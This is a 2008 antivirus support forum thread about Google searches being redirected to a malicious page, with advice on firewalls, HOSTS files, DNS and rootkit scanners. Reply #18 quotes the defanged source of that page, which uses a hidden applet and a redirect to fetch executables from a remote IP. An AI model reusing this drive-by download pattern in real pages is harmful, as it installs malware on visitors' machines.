Author Topic: Avast is blocking my access to google  (Read 19827 times)

0 Members and 1 Guest are viewing this topic.

Offline DavidR

  • Avast Überevangelist
  • Certainly Bot
  • *****
  • Posts: 86804
  • No support PMs thanks
Re: Avast is blocking my access to google
« Reply #15 on: October 06, 2008, 03:15:08 PM »
You're welcome.

Sorry I can't give a specific recommendation to a firewall that I don't use and mine Outpost firewall pro 2009 is a paid for option.

Whilst the windows XP firewall is usually good at keeping your ports stealthed (hidden) it provides no outbound protection and you should consider a third party firewall.

Any malware that manages to get past your defences will have free reign to connect to the internet to either download more of the same, pass your personal data (sensitive or otherwise, user names, passwords, keylogger retrieved data, etc.) or open a backdoor to your computer, so outbound protection is essential.

- There are many freeware firewalls such as, Comodo, PCTools Firewall Plus, Jetico, etc. - Zone Alarm free works fine with avast and has a reasonably friendly user interface, however, the free version is becoming bloated with trial ware and is also crippled as far as outbound protection goes In the Program Control, configuration area, the slider will only goes as far as Medium protection, if you want more you have to buy the Pro version.

See A Forum discussion on free firewalls http://forum.avast.com/index.php?topic=30808.0
See http://www.matousec.com/projects/firewall-challenge/results.php.
Windows 10 Home 64bit/ Acer Aspire F15/ Intel Core i5 7200U 2.5GHz, 8GB DDR4 memory, 256GB SSD, 1TB HDD/ avast! free 22.5.6015 (build 22.5.7263.730) UI 1.0.711/ Firefox, uBlock Origin, uMatrix/ MailWasher Pro/ Avast! Mobile Security

Offline Lisandro

  • Avast team
  • Certainly Bot
  • *
  • Posts: 67236
Re: Avast is blocking my access to google
« Reply #16 on: October 06, 2008, 05:27:41 PM »
I've followed your instructions and Tech's and no more alerts from avast when accessing google.
I'm glad that it worked ;)

Do you have any recomendation about a freeware firewall?
Comodo, PcTools, OnlineArmor, Kerio, ZoneAlarm (more or less in this order).
The best things in life are free.

r9rafael

  • Guest
Re: Avast is blocking my access to google
« Reply #17 on: October 06, 2008, 11:32:32 PM »
 ??? >:( ??? >:( ??? >:( ??? >:( ??? >:( ??? >:( ??? >:( ??? >:( ???

unfortunately the relief lasted little, i.e., the problem returned after a few google searches and browsing youtube. I did everyting all over again and haven't find anything this time. even using firefox the problem remains.

the interesting is that i'm accessing google directly thru an ip address i found on yahoo (64.233.169.147) and it doesn't download the malware.

therefore, i have no clue what may be causing the problem (i've keep getting the same alert from avast! i've posted before when accessing www.google.com).
 
« Last Edit: October 06, 2008, 11:40:52 PM by r9rafael »

r9rafael

  • Guest
Re: Avast is blocking my access to google
« Reply #18 on: October 06, 2008, 11:45:08 PM »
here is the source code from the "fake google page", which is quite diferent from the original

{html}
{title}Google{/title}
{body margin: 0}
{iframe frameborder='0' width='100%' height='100%' src='hXXp://64.233.169.147' margin-left:0}
{/iframe}

{div style="position: absolute; left: 0px; right: 0px; background;red ; visibility: hidden;"}
{applet onerror="if(redir){redir=false;document.location='hXXp://201.75.18.168/google/view.scr';}" name="google plugin searcher" code="Inicio.class" archive="hXXp://www.google.com/searcher.jar" height='0' width='0'}
    {param name='url' value="hXXp://201.75.18.168/google/calc.exe"}
{/applet}

{/div}
{/html}
« Last Edit: October 07, 2008, 12:12:29 AM by r9rafael »

Offline DavidR

  • Avast Überevangelist
  • Certainly Bot
  • *****
  • Posts: 86804
  • No support PMs thanks
Re: Avast is blocking my access to google
« Reply #19 on: October 07, 2008, 12:04:01 AM »
If you don't suffer this problem when using an IP address then this could be either a DNS redirect or HOSTS file redirect (but this would not stop and start but be on all the time) .

HOSTS file redirect - 127.0.0.1 check your HOSTS file using notepad or a text editor of your choice, C:\WINDOWS\system32\drivers\etc\hosts or do a search for HOSTS to find it if not there. http://en.wikipedia.org/wiki/Hosts_file

When you type in a domain name like google.com it has to look up what the IP address is and to do this it uses a DNS server, so it could be that this function is being intercepted so you could try this service http://www.opendns.com/.

This could well be from your forays into youtube as it is rife with malware the same as facebook and other social web sites.

Please modify the URLs in your last post change http to hXXP so links to suspect sites aren't active an expose people to malware.

The first IP does belong to google, but it will just be used to make it look like the genuine site.
The second IP is com.br as is the third IP com.br.

So the wrapper is the genuine google but the body/content of the page comes from com.br
Windows 10 Home 64bit/ Acer Aspire F15/ Intel Core i5 7200U 2.5GHz, 8GB DDR4 memory, 256GB SSD, 1TB HDD/ avast! free 22.5.6015 (build 22.5.7263.730) UI 1.0.711/ Firefox, uBlock Origin, uMatrix/ MailWasher Pro/ Avast! Mobile Security

r9rafael

  • Guest
Re: Avast is blocking my access to google
« Reply #20 on: October 07, 2008, 07:56:31 PM »
If you don't suffer this problem when using an IP address then this could be either a DNS redirect or HOSTS file redirect (but this would not stop and start but be on all the time) .

HOSTS file redirect - 127.0.0.1 check your HOSTS file using notepad or a text editor of your choice, C:\WINDOWS\system32\drivers\etc\hosts or do a search for HOSTS to find it if not there. http://en.wikipedia.org/wiki/Hosts_file

When you type in a domain name like google.com it has to look up what the IP address is and to do this it uses a DNS server, so it could be that this function is being intercepted so you could try this service http://www.opendns.com/.

This could well be from your forays into youtube as it is rife with malware the same as facebook and other social web sites.

Please modify the URLs in your last post change http to hXXP so links to suspect sites aren't active an expose people to malware.

The first IP does belong to google, but it will just be used to make it look like the genuine site.
The second IP is com.br as is the third IP com.br.

So the wrapper is the genuine google but the body/content of the page comes from com.br


i've tried both of your suggestions and didn't work. my host file is ok and using opendns didn't work. i kept facing the same problems. any other option from you magic hat?  ;)

Offline DavidR

  • Avast Überevangelist
  • Certainly Bot
  • *****
  • Posts: 86804
  • No support PMs thanks
Re: Avast is blocking my access to google
« Reply #21 on: October 07, 2008, 09:10:05 PM »
My only other thought are that there is still something hidden on your system, but that doesn't really fall in line with what is happening google links being redirected.

Also see, anti-rootkit, detection, removal & protection http://www.antirootkit.com/software/index.htm. Try these as they are some of the more efficient and user friendly anti-rootkit tools.
- Panda Rootkit Cleaner - http://research.pandasoftware.com/blogs/images/AntiRootkit.zip.
- Trend Micro RootkitBuster - http://www.trendmicro.com/download/rbuster.asp
- F-Secure Blacklight may not always be available, http://www.f-secure.com/blacklight
Windows 10 Home 64bit/ Acer Aspire F15/ Intel Core i5 7200U 2.5GHz, 8GB DDR4 memory, 256GB SSD, 1TB HDD/ avast! free 22.5.6015 (build 22.5.7263.730) UI 1.0.711/ Firefox, uBlock Origin, uMatrix/ MailWasher Pro/ Avast! Mobile Security

r9rafael

  • Guest
Re: Avast is blocking my access to google
« Reply #22 on: October 19, 2008, 10:15:17 PM »
My only other thought are that there is still something hidden on your system, but that doesn't really fall in line with what is happening google links being redirected.

Also see, anti-rootkit, detection, removal & protection http://www.antirootkit.com/software/index.htm. Try these as they are some of the more efficient and user friendly anti-rootkit tools.
- Panda Rootkit Cleaner - http://research.pandasoftware.com/blogs/images/AntiRootkit.zip.
- Trend Micro RootkitBuster - http://www.trendmicro.com/download/rbuster.asp
- F-Secure Blacklight may not always be available, http://www.f-secure.com/blacklight

David,
after running all anti-spyware you suggested the problem persisted for a few days, when I ran into some tips from another forum where someone had the some problem I was experiencing. There I found four programs we could add to your tips that I guessed helped me solve this mess:

Advanced Windows Care
http://superdownloads.uol.com.br/download/123/advanced-windowscare/
Ccleaner
http://superdownloads.uol.com.br/download/53/ccleaner/
MV RegClean
http://superdownloads.uol.com.br/download/147/mv-regclean/
MV AntiSpy
http://superdownloads.uol.com.br/download/141/mv-antispy/


Once again, thanks a lot for your help!




Offline DavidR

  • Avast Überevangelist
  • Certainly Bot
  • *****
  • Posts: 86804
  • No support PMs thanks
Re: Avast is blocking my access to google
« Reply #23 on: October 19, 2008, 11:10:11 PM »
You're welcome, thanks for the feedback, glad that your problem is now resolved.
Windows 10 Home 64bit/ Acer Aspire F15/ Intel Core i5 7200U 2.5GHz, 8GB DDR4 memory, 256GB SSD, 1TB HDD/ avast! free 22.5.6015 (build 22.5.7263.730) UI 1.0.711/ Firefox, uBlock Origin, uMatrix/ MailWasher Pro/ Avast! Mobile Security